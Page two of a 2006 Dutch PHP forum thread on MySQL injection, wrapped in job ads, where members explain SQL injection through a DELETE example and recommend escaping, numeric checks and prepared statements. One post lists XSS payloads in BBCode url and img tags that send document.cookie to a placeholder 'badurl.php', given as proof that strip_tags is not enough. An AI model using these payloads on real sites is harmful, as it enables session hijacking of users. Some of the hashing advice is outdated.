MySQL injection

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Junior Java Developer

Dit ga je doen Full stack web- en appdevelopment; Vertalen van de functionele wensen naar de technische specificaties; Sturing geven aan/klank board zijn voor de software teams; Trainen van de software teams; Sparren met klanten; Meedenken over architectuur. Hier ga je werken De organisatie is een bureau welke websites en mobiele applicaties bouwt voor verschillende toonaangevende organisaties. Hierbij richten zij zich voornamelijk op de sectoren leisure, overheid en zorg. De sfeer intern kenmerkt zich door informaliteit, gezelligheid en ambitie. Ze werken dag in dag uit samen om mooie producten op te leveren voor hun klanten. Op dit moment zijn er

Bekijk vacature »

Senior Product Developer

Functieomschrijving Als senior Product Developer ben je verantwoordelijk voor bestaande mobiliteitsproducten en de ontwikkeling van nieuwe mobiliteitsconcepten. Met behulp van diverse klantonderzoeken, klantsessies en salesmeetings zorg je ervoor dat je de veranderende mobiliteitsbehoeften in de markt kent. Hier speel je op in door innovatieve, flexibele, efficiënte en duurzame vervoersoplossingen te bedenken, te ontwikkelen, te implementeren en uiteindelijk samen met Sales en Marketing collega’s in de markt te zetten. Je initieert en neemt deel aan (internationale en afdeling overschrijdende) projecten, vaak in de rol van projectleider. In die rol bewaak je de voortgang, coördineer je de activiteiten en zorg je voor

Bekijk vacature »

3D BIM Add-on Developer

Als 3D BIM add- on ontwikkelaar bij KUBUS ontwikkel je add-ons (BCF Managers genaamd) voor de toonaangevende building information modeling (BIM) programma's Revit, Navisworks, Archicad, AutoCAD en Tekla Structures. BCF Managers maken gegevensoverdracht mogelijk tussen BIM-software en BIMcollab. Je werkt zowel aan de front- als aan de back-end. Als softwarebedrijf bevindt KUBUS zich in een unieke positie. We bouwen aan onze eigen producten die wereldwijd door tienduizenden gebruikers worden gebruikt. Ons bedrijf heeft precies de juiste grootte: groot genoeg om echt impact te maken in de markt, maar klein genoeg om als individuele ontwikkelaar invloed uit te kunnen oefenen en

Bekijk vacature »

Java Developer / Sociaal domein

Dit ga je doen Nieuwbouw en doorontwikkeling; Beheer en wanneer nodig onderhoud; Bijdrage leveren in het functioneel- en technisch ontwerptraject; Analyseren van productie verstoringen; Meedenken over vernieuwingen en verbeteringen. Hier ga je werken De organisatie waar jij komt te werken focust zich op software development met een maatschappelijk tintje. De afdeling software ontwikkeling bestaat uit vijf verschillende scrum teams, met allen hun eigen focus gebied. Zo zijn er een aantal teams die zich focussen op specifieke applicaties, maar is er ook een team gericht op projecten. Binnen de organisatie staat innovatie en kwaliteit voorop. Een aantal applicaties draait nog op

Bekijk vacature »

Software Developer Mendix / Maatschappelijk Betrok

Dit ga je doen Het bouwen van de Mendix applicaties in samenwerking met jouw team of zelfstandig; Werken met Scrum methodiek; Ontwikkelen van vooruitstrevende oplossingen; Meedenken over nieuwe applicaties en ontwikkelingen; On the job eigen maken van de Mendix omgeving. Hier ga je werken Deze dynamische en snelgroeiende organisatie begeeft zich in de recyclingbranche. Zij nemen op duurzame en efficiënte manier de recycling op zich. Vanwege hun snelle groei zijn zij op zoek naar een young professional die zich graag wilt ontwikkelen als Mendix Developer. Je komt te werken binnen een IT team van +/- 15 medewerkers. Het huidige ‘vaste’

Bekijk vacature »

Java developer

Als Java Developer bij Sogeti ben je onderdeel van onze toonaangevende community die bestaat uit ruim 100 gepassioneerde professionals. In teamverband lever je mooie prestaties. Daarmee draag je aan bij de meerwaarde die wij leveren aan onze klanten. Geen werkdag is hetzelfde, je bent voortdurend bezig met het oplossen van allerlei complexe vraagstukken binnen bedrijfskritische systemen. Een voorbeeld hiervan is een cliënt-volgsysteem bij Reclassering Nederland. Andere klanten waar wij onder andere voor werken: KPN, Philips, Nationale-Nederlanden, Kamer van Koophandel, ABN AMRO, Bovemij, Arval en de Politie. Werken bij Sogeti Nieuwe ontwikkelingen volgen we op de voet en delen we binnen de

Bekijk vacature »

C# developer

Sogeti is een organisatie met een goede werksfeer en zo min mogelijk hiërarchische verhoudingen. Ga je bij ons als C# Developer aan de slag? Dan werk je dagelijks met collega’s aan de mooiste IT-projecten. Deze snelgroeiende groep collega’s krijgt energie van hun vak en dat merk je op de werkvloer. Natuurlijk krijg jij de mogelijkheid je te certificeren. We organiseren regelmatig technische Meet-ups en doen we veel aan kennisdeling. Mede hierdoor zij wij dit jaar Microsoft Partner of the Year geworden. Sogetisten staan klaar voor elkaar, hebben lol met elkaar en daarmee behalen we de mooiste resultaten! Werken bij Sogeti

Bekijk vacature »

Medior Java developer (fullstack)

Wat je gaat doen: Of beter nog, wat wil jij doen? Binnen DPA GEOS zijn we dan ook op zoek naar enthousiaste Java developers om ons development team te versterken. Als Java developer werk je in Agile/Scrum teams bij onze klanten en daarbij kun je eventueel ook andere ontwikkelaars begeleiden in het softwareontwikkelproces. Verder draag je positief bij aan de teamgeest binnen een projectteam en je kijkt verder dan je eigen rol. Je gaat software maken voor verschillende opdrachtgevers in jouw regio. Je bent een professional die het IT-vak serieus neemt en kwaliteit levert. Je leert snel vanwege je diepgaande

Bekijk vacature »

Outsystems Developer Medior

Dit ga je doen Bouwen aan nieuwe en innovatieve applicaties; Maken van koppelingen tussen Outsystems en het bestaande applicatielandschap; Troubleshooting op bestaande software. Hier ga je werken De organisatie is internationale speler binnen de bouwbranche en richt zich op de infrastructuur, zowel boven als onder de grond. Ze zijn ruim 1100 man groot en maken op IT vlak een mooie groei door. Als ervaren Developer kom je te werken op een IT-afdeling van zo'n 25 man groot. Een aantal jaar geleden hebben ze de keuze gemaakt om zich meer te gaan richten op ontwikkeling en door de groei van de

Bekijk vacature »

Senior Java developer

Als Senior Developer bij Sogeti ben je onderdeel van onze toonaangevende best-gecertificeerde Java community. Deze bestaat uit ruim 100 gepassioneerde professionals. In teamverband lever je mooie prestaties. Daarmee draag je aan bij de meerwaarde die wij leveren aan onze top-opdrachtgevers. Geen werkdag is hetzelfde! Je bent voortdurend bezig met het oplossen van allerlei complexe vraagstukken binnen bedrijfskritische systemen. Een voorbeeld hiervan is een cliënt-volgsysteem bij Reclassering Nederland. Andere klanten waar wij onder andere voor werken: KPN, Philips, Nationale-Nederlanden, Kamer van Koophandel, ABN AMRO, Bovemij, Aval en de Nationale Politie. Natuurlijk krijg jij de mogelijkheid je verder te certificeren in dit vakgebied. We

Bekijk vacature »

Software Programmeur

Functie omschrijving Ben jij op zoek naar een organisatie waar je samen met een team werkt aan iets moois en waar je naast hard werken ook hard kunt lachen? Dan ben je hier aan het juiste adres! Voor een informeel IT-bedrijf in omgeving Wassenaar zijn wij op zoek naar versterking. Ben jij op zoek naar een nieuwe uitdaging als Software Programmeur lees dan snel verder! Werkzaamheden Programmeur Je bent bezig met het ontwikkelen van software en webapplicaties. Je kunt technische klussen uitvoeren op locatie. Je onderhoudt contact met de projectleider om er zeker van te zijn dat een project goed

Bekijk vacature »

Oracle APEX developer

Wat je gaat doen: Als Oracle APEX ontwikkelaar bij DPA werk je samen met collega’s aan de meest interessante opdrachten. Je zult je ervaring met SQL, PL/SQL, JavaScript, HTML en CSS inzetten om wensen van opdrachtgevers te vertalen naar technische oplossingen. Je werk is heel afwisselend, omdat DPA zich niet beperkt tot een specifieke branche. Zo ben je de ene keer bezig binnen de zorgsector, de andere keer is dit bij de overheid. Wat we vragen: Klinkt goed? Voor deze functie breng je het volgende mee: Je hebt een hbo- of universitaire opleiding afgerond Je hebt 2 tot 5 jaar

Bekijk vacature »

.NET developer

Functie Jouw team van vier collega .NET developers is verantwoordelijk voor het bouwen van de ETL processen van jouw nieuwe werkgever. Op dit moment wordt de front-end gedaan door een extern team van professionals. Echter wilt jouw nieuwe werkgever graag intern deze kennis uitbreiden en heeft dan ook de ambitie om dit voor het eind van het jaar intern te gaan aanpakken. Dit betekend dat jij als .NET ontwikkelaar de ideale kans krijgt om jezelf samen met jouw collega’s te ontwikkelen als full stack developer. Als .NET ontwikkelaar werk jij bij deze gave werkgever met C# .NET, SQL, JavaScript, REST

Bekijk vacature »

Full stack developer

Functie Binnen een ontzettend stimulerende werkomgeving kom jij te werken in een software team van 14 developers. Met ontzettend stimulerend bedoel ik een modern pand, wat voorzien is van alle nodige soft- en hardware, zodat jij jouw werk goed kan uitvoeren. Daarnaast zitten ze in een bos, waardoor je in een groene omgeving rustig kunt werken. Het team bestaat uit front end, back end en full stack developers. Jij krijgt dus de keuze hier waar jij jezelf het liefst op zou richten, maar de voorkeur gaat uit naar back end. Er wordt hier Scrum (agile) gewerkt in multidisciplinaire teams met

Bekijk vacature »

Database Developer

Functie omschrijving Voor een logistieke dienstverlener in omgeving Zuid Beijerland zijn wij op zoek naar versterking. Weet jij als geen ander systemen aan elkaar te koppelen en heb jij goede kennis van SQL en UML, lees dan snel verder! Jouw taken zien er als volgt uit: Je bent in deze rol voornamelijk verantwoordelijk voor het bouwen, implementeren en beheren van koppelingen tussen de bestaande systemen (zowel business 2 business als application 2 application). Daarnaast inventariseer je de wensen van in- en externe klanten, die je vervolgens samen met je collega's, vertaalt naar technische specificaties, die jullie zelf ontwikkelen en implementeren.

Bekijk vacature »

Pagina: « vorige 1 2

PHP Newbie

PHP Newbie

30/08/2006 21:32:00
Quote Anchor link
Aha, oki.

Alleen gebruik ik altijd limit = 1, dan wordt er maar 1 record verwijderd. Nog niet lekker, maar het beperkt de schade.

En wat kan er dan verkeerd gaan in een INSERT querie
 
PHP hulp

PHP hulp

12/01/2025 16:16:06
 
Jan Koehoorn

Jan Koehoorn

30/08/2006 21:42:00
Quote Anchor link
Frank:
Quote:
klopt het dat men daarmee dan ook wachtwoorden kan achterhalen
Wanneer jij md5 of sha1 gebruikt (met een salt) dan is dit vrijwel onmogelijk. Doe je dat niet, dan ben je stom bezig en moet je niet zeuren dat de boel gejat is...

SQL-injection betekent dat er stukken SQL in jouw database worden geinjecteerd die er niet thuis horen. Het wordt dus door de gebruiker in de query gezet en niet door de programmeur.

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
DELETE FROM tabelnaam WHERE id = $_POST['id'];

Jij verwacht dat $_POST['id'] bv. de waarde 23 heeft, maar wat als een grappenmaker daar van maakt:
23 or id > 0
De query die naar de database wordt gestuurd, komt er dan alsvolgt uit te zien:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
DELETE FROM tabelnaam WHERE id = 23 or id > 0;

1x raden wat er gebeurd... Alle records in de tabel 'tabelnaam' worden weggegooid!

In dit voorbeeld heb je trouwens weinig aan mysql_real_escape_string. Om MySQL injection tegen te gaan moet je twee dingen in de gaten houden.

1) In het gedeelte in de WHERE altijd quotes gebruiken in combinatie met mysql_real_escape_string

2) Als in het WHERE gedeelte een INT gebruikt wordt zodat je niet met quotes kunt werken (zoals in dit voorbeeld van Frank) checken met is_numeric of de ingevoerde waarde wel een getal is.
 
Klaasjan Boven

Klaasjan Boven

30/08/2006 22:07:00
Quote Anchor link
En ik kan dat artikel niet vinden maar op www.phpFreakz.nl staat een briljant artikel over injection zeker icm css

EDIT:
http://www.phpfreakz.nl/artikelen.php?aid=106
Gewijzigd op 01/01/1970 01:00:00 door Klaasjan Boven
 
Frank -

Frank -

30/08/2006 22:48:00
Quote Anchor link
Om SQL-injection tegen te gaan, is er maar 1 methode: Hou alles tegen, tenzij JIJ het hebt goedgekeurd.

Waardes uit een GET moeten nummeriek zijn, voorkomen in een array met goedgekeurde waardes, een md5-string van 32 karakters (hexadecimaal) of een sha1-string van 40 karakters (hex).

Voor zoekresultaten kun je nog iets anders te werk gaan, maar ook hier alleen datgene toestaan, wat JIJ wilt toestaan.

Ook bij POST en COOKIE gegevens ga je dit soort keiharde controles toepassen. Bv. striptags(), zelfs als je html-opmaak wilt toestaan. Alleen die tags toestaan die jij in je code wilt hebben, en dat is bv. geen javascript...

Met regular expressions zijn ook een hoop problemen te voorkomen, je kunt van alles en nog wat gaan controleren.

Een andere tip, is het gebruik van een betere database die het gebruik van eigen functies ondersteund en waarbij je op user-niveau kunt aangeven welke functies een gebruiker wel en niet kan gebruiken. Een functie waarbij gegevens worden verwijderd, is bv. niet toegankelijk voor gebruiker X. Ook met MySQL zijn beperkte mogelijkheden om de boel te beveiligen, zorg er voor dat niemand (behalve de DBA) tabellen kan aanmaken, verwijderen of records kan verwijderen. Wanneer een gebruiker iets wil verwijderen, doe dan een UPDATE waarmee je aangeeft dat een record niet meer mag worden getoond. De DBA, of een cronjob, schoont dan eens in de zoveel tijd de database wel op.

En omdat een database wel enige honderden miljoenen records kan bevatten, zal dat echt geen probleem zijn. Mocht het toch een probleem worden, dan heb je een succesvolle website/applicatie gebouwd. Verkoop dan de hele zooi en vertrek met een enkele reis naar bv. de Bahama's. Probleem ook weer opgelost. ;)
 
Jelmer -

Jelmer -

30/08/2006 23:00:00
Quote Anchor link
Quote:
Ook bij POST en COOKIE gegevens ga je dit soort keiharde controles toepassen. Bv. striptags(), zelfs als je html-opmaak wilt toestaan. Alleen die tags toestaan die jij in je code wilt hebben, en dat is bv. geen javascript...

Mag ik wel even opmerken dat waneer je <p/> toelaat, striptags() ook niet zal tegenstribbelen bij <p onmouseover="alert(document.cookie)"/>. Waarbij alert() dan een meganisme is om de inhoud van document.cookie ergens achter te laten.

En met UBB ben je standaard ook nog niet veilig. Probeer dezen maar eens. (hopelijk is dit tegenwoordig op PHPhulp opgelost)
Bij links is het ook leuk. Zo is bijvoorbeeld dit nog maar al te vaak mogelijk:
[url=http://paashaas.nl" onclick="document.location.href='badurl.php?cookie='+document.cookie; return false]Ga naar paashaas.nl[/url]

Of wat dacht je van plaatjes, mogelijkheden genoeg!
[img]bestaatniet.jpg" onerror="document.location.href='badurl.php?cookie='+document.cookie[/img]

Maar ook:
[img]javascript:document.location.href='badurl.php?cookie='+document.cookie[/img]. Dat zal internet explorer zonder problemen toelaten.
En zo zijn er nog wel wat mogelijkheden.
 

30/08/2006 23:20:00
Quote Anchor link
Met PHP5 'hoef je niet meer te escsape' als je gebruik maakt van MySQLi.
Voorbeeldje hieronder (uit Upgrading to PHP5):
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$username
= 'rasmus';
$password = 'zegiklekkerniet';
$zipcode = '2922AA';

$sql = 'INSERT INTO users VALUES (?, ?, ?)';
$stmt = mysqli_stmt_init($db);
if (mysqli_stmt_prepare($stmt, $sql))
{

  mysqli_stmt_bind_param($stmt, 'ssi', $username, $password, $zipcode);
  mysqli_stmt_execute($stmt);
}

?>

Zou er binnenkort eens tutorial over posten want deze methodes hebben zeker af en toe voordeel.
 
CB2thephp

CB2thephp

30/08/2006 23:21:00
Quote Anchor link
Wat ik heb geleerd om alle beveiligings fouten tegen te houden is:

-Indentificeer je input
#Gebruik isset etc.
-Check altijd de input
#Hiervoor kun je regular expressions gebruiken. Lengte checken als je bepaalde lengte hebt etc.
-Zorg ervoor dat je het verschil tussen gecheckte waarde en niet gecheckte weet.
#Kijk goed welke gecheckt is en welke niet.
-Escape input
#addslashes, maar het beste voor mysql is toch mysql_real_escape_string()
-In de database ermee.
-Als het uit de database komt escape output
#htmlentities gebruiken.

Ziezo dat moet je een goede informatie geven over hoe je het beste kunt beveiligen. Er is natuurlijk meer, maar de meeste komen al niet meer verder dan hier dus.

Groeten,
Christian Bolster
 
Arend a

Arend a

31/08/2006 00:02:00
Quote Anchor link
Ik gebruik altijd de code die de webmakerij ook gebruikt (dit is de methode die ook in DBI in perl zit). Alles wat nut heeft checken met regex, en de rest via


$sql = 'INSERT INTO users VALUES (?, ?, ?)';
$stmt = mysqli_stmt_init($db);
if (mysqli_stmt_prepare($stmt, $sql))
{
mysqli_stmt_bind_param($stmt, 'ssi', $username, $password, $zipcode);
mysqli_stmt_execute($stmt);
}

invoegen.

Het houd je code ook lekker overzichtelijk.
 
Klaasjan Boven

Klaasjan Boven

31/08/2006 07:54:00
Quote Anchor link
Mijn tip is gelijk aan een van de tips van Frank. Zet in ELKE tabel in je DB een kolom DATUM_EINDE. Hoef je nooit meer iets weg te gooien als iemand iets mag deleten, delete hij niet echt maar vult alleen de einddatum.
Houd je mooi je history en het is weer een stukje veiliger.
Uiteraard eindigt elke SELECT SQL wel met AND datum_einde=''
Gewijzigd op 01/01/1970 01:00:00 door Klaasjan Boven
 

31/08/2006 10:16:00
Quote Anchor link
en wat is een mysql injection ? ben dus nog een n00b in php :D
 
DeleteAll DeletelAll

DeleteAll DeletelAll

31/08/2006 10:53:00
Quote Anchor link
Hmm dankje, heb hier ook uit geleerd ;-)!
 
Klaasjan Boven

Klaasjan Boven

31/08/2006 11:27:00
Quote Anchor link
jeroen:
en wat is een mysql injection ? ben dus nog een n00b in php :D


Lees het artikel op PHPfreakz maar eens.
 

31/08/2006 13:18:00
Quote Anchor link
ah k thanks
 

31/08/2006 17:18:00
Quote Anchor link
sorry maar ik vind daar niks over mysql injection
 
Tri Pham

Tri Pham

02/09/2006 22:02:00
Quote Anchor link
Ik heb onlangs een artikel geschreven over SQL injections: http://www.scriptorama.nl/security/sql-crash-course-met-joomla

Het bekende open source pakket Joomla had een paar SQL injection bugs. Aan de hand van die bugs leg ik uit wat SQL injections zijn, hoe je de bugs kunt herkennen en hoe je ze kunt voorkomen. Een ander meer gluiperig SQL injection is hier te lezen:
http://www.scriptorama.nl/security/top-5-security-bugs-in-php-web-applicaties

Wellicht heb je er wat aan!
 

02/09/2006 22:08:00
Quote Anchor link
ah bedankt ik zal dit eens na lezen

:D
 

Pagina: « vorige 1 2



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.